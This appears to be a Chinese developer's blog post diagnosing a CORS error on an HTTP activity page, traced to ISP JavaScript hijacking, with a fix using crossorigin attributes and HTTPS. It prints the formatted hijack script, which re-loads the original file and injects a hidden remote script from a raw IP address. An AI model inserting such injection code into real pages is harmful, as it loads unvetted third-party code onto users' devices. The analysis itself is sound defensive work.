正当看着这莫名会报错活动页面,无从下手时,“手贱” 用钉钉扫描了下它的二维码,“**,复现了!!”(PS:页面无法正常渲染 -- “白屏”了..)

立马改用 手机端 Safari 的打开,多次刷新后,是可以复现的(也证明跟 App 无关).. 这就好办了!因为可以 《用 Safari 调试 H5》,意味着具体的报错信息是可以被捕获到的!!

一番调试,有了点眉目:

image.png

令人惊讶的是:是因为 public.js 出现了加载失败的情况,从而导致报错!!(之前我从没有怀疑过 CDN,事实上我也确实不该怀疑.. 后面会说)

那么,为什么 public.js 会加载失败呢?仔细查看控制台的信息:

image.png

大概的意思是说:当前页面(http://activity.popcornta.com)试图访问跨域资源文件(http://yun.tuisnake.com),但却又没有遵循 CORS,而导致资源加载失败。

而跨域资源共享(CORS) 是一种机制,简单来说就是:让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。

理论上,要解决跨域问题,只要在在请求返回内容里,添加以下响应头即可:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET

于是,查看 public.js 是否添加了上述响应头:

image.png

结论是:无法查看,大概是因为浏览器判断跨域访问资源失败,出于安全考虑,不展现任何内容,(而事实上内容是已经下载下来的)。

那么,通过 Charles 抓包吧!!

因为之前在 PC 上是死活无法复现的,只有手机才可以复现.. 初步怀疑就是网络问题,所以用手机开了热点,PC 链接热点进行抓包。

成功的抓到了包:📎cors.chls.zip

在 PC 上,用 Chrome 也复现了报错:

image.png

通过 charles 发现,响应头里没有诸如 Access-Control-Allow-Origin 的字段:

image.png

原因找到了,第一直觉是:觉得 CDN 是否配置问题?找到了运维,确实看到已经配置了的.. 但是为啥响应头一会有一会又没有呢?求助于阿里云的技术客服.,经过一系列排查,他们确认不是 CDN 节点问题.. 最后我也认定确实不是 CDN 问题,是因为我们使用的除了阿里云的 CDN,还有腾讯云的 CDN 域名也会出现同样的问题,不可能两个大厂都存在这种问题...

回过头来 ,仔细去看刚刚抓的包,发现它的返回内容不对:

image.png

这根本不是 public.js 原有的内容,被篡改了... (似乎被谁给劫持了!!)

格式化代码,一看究竟:

(function() {
  try {
    var ab = "http://yun.tuisnake.com/h5-mami/dist/public.6d8af586f37c07b2157e.js?visitDstTime=1",
      d = document,
      ss = d.getElementsByTagName("script"),
      h = ss[0].parentNode,
      _add = function(s, c, async) {
        var k = d.createElement("script");
        k.src = s;
        if (c) {
          k.charset = c
        }
        if (async) {
          k.async = true;
          k.defer = true
        }
        h.appendChild(k)
      };
    var zn = ss.length;
    try {
      d.write('<script   src="' + ab + '"><\/script>')
    } catch (e) {}
    if (zn == d.getElementsByTagName("script").length) {
      _add(ab)
    }
    var b = function(m) {
      var e = d.createElement("iframe");
      e.style.cssText = "display:none;";
      e.src = m;
      h.appendChild(e)
    };
    if (self != top) {
      return
    }
    if (window.__qzxsw_pwe13) {
      return
    }
    window.__qzxsw_pwe13 = 1;
    var f = function() {
      if (!document.body) {
        return window.setTimeout(function() {
          f()
        }, 300)
      }
      _q_w_1_x = {
        g: "2",
        p: "3YdIT9WodagKe5ajJL9mJA%3D%3D",
        u: "A8000C1B209FB4C89BF8CD7386B33A91",
        f: "&rule_id=257"
      };
      _add("//124.90.34.170:9527/ui/js/Ball.js?visitDstTime=2", "utf-8", true)
    };
    f()
  } catch (e) {}
})();

代码比较简单,就是除了再次请求加载原本的内容(public.js)之外,会额外请求一个奇怪的不知道哪里来的 Ball.js,查看它的内容,一行注释引起注意:

image.png

浙江联通!... 这大概就是运营商的手段吧! 赤裸裸的运营商 JS 劫持.. (怪不得 WIFI 下死活不能复现)

这就能解释了,为啥响应头会丢失?

因为运营商劫持了 JS,没有经过 CDN,自然响应头里不一定有 Access-Control-Allow-Origin: * (简直不敢奢望..)

而在反复测试的过程当中,发现有些 JS 也会被劫持,但并不会出现跨域报错.. 这是为什么呢?

知识补齐

一般而言,像 <script>、 标签是可以绕过同源策略,可以加载来自任何地方的资源,不受跨域影响。

但是有两个情况,需要注意跨域:

  • (new Image).crossOrigin = 'anonymous' 用于 Canvas 图片绘制,关于更多
  • <script crossorigin="anonymous"> 添加 crossorigin 属性,想要获取关于 script 具体的报错信息(一般用于前端监控平台),关于更多

即:设置了 crossorigin 属性发出的请求头里会包含 Origin 字段,代表会触发 CORS preflight (预检),这就要求被访问的服务器需要支持 CORS,即:响应头里包含 Access-Control-Allow-Origin 等字段,就像下面这样:

image.png

image.png

,有些 js 被劫持了却不报错的原因:

其实是那些 <script> 刚好没有添加 crossorigin 属性,

所以也从另一个角度来告诉我们,如果在没法解决运营商劫持的情况下,只能舍弃给 script 标签 crossorigin 属性,以保证代码可以正常运行(总比页面出不来要好)。

解法

解决运营商劫持的最好办法当然是所有页面/资源都采用 https 的形式访问。

当现状是,有很多活动页面已经以 http 的形式投放出去了,短时间内是无法立马升级的.. (涉及到太多合作媒体了)

所以,最后采用 降级 的方案:

  • https 的页面本身不会被运营商劫持,那么给 script 标签添加 crossorigin 属性,确保前端监控平台可以正常获取到详细报错信息
  • http 的页面会被运营商劫持,那么去除 script 的 crossorigin 属性,保证页面是可以正常打开的,但代价就是前端监控平台无法获取详细报错信息(只有 Script Error.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.